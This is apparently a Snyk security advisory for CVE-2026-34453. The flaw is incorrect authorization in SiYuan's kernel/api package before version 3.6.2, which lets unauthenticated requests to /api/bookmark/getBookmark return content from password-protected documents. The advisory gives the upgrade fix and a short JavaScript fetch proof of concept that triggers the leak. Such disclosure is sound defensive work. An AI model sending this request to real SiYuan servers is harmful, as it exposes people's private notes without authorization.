Incorrect Authorization Affecting github.com/siyuan-note/siyuan/kernel/api package, versions <3.6.2


Severity

Recommended
0.0
high
0
10

CVSS assessment by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of Concept
EPSS
1.23% (65th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about Incorrect Authorization vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDSNYK-GOLANG-GITHUBCOMSIYUANNOTESIYUANKERNELAPI-15922422
  • published7 Apr 2026
  • disclosed31 Mar 2026
  • creditNgocnn97

Introduced: 31 Mar 2026

CVE-2026-34453  (opens in a new tab)
CWE-863  (opens in a new tab)

How to fix?

Upgrade github.com/siyuan-note/siyuan/kernel/api to version 3.6.2 or higher.

Overview

Affected versions of this package are vulnerable to Incorrect Authorization via the getBookmark function. An attacker can retrieve sensitive content from password-protected documents by sending unauthenticated requests to the /api/bookmark/getBookmark endpoint, which improperly authorizes access and returns bookmarked blocks from protected documents without requiring the publish password.

PoC

fetch("/api/bookmark/getBookmark", {
  method: "POST",
  headers: { "Content-Type": "application/json" },
  body: "{}"
})
  .then(r => r.json())
  .then(x => console.log(JSON.stringify(x, null, 2)));

CVSS Base Scores

version 4.0
version 3.1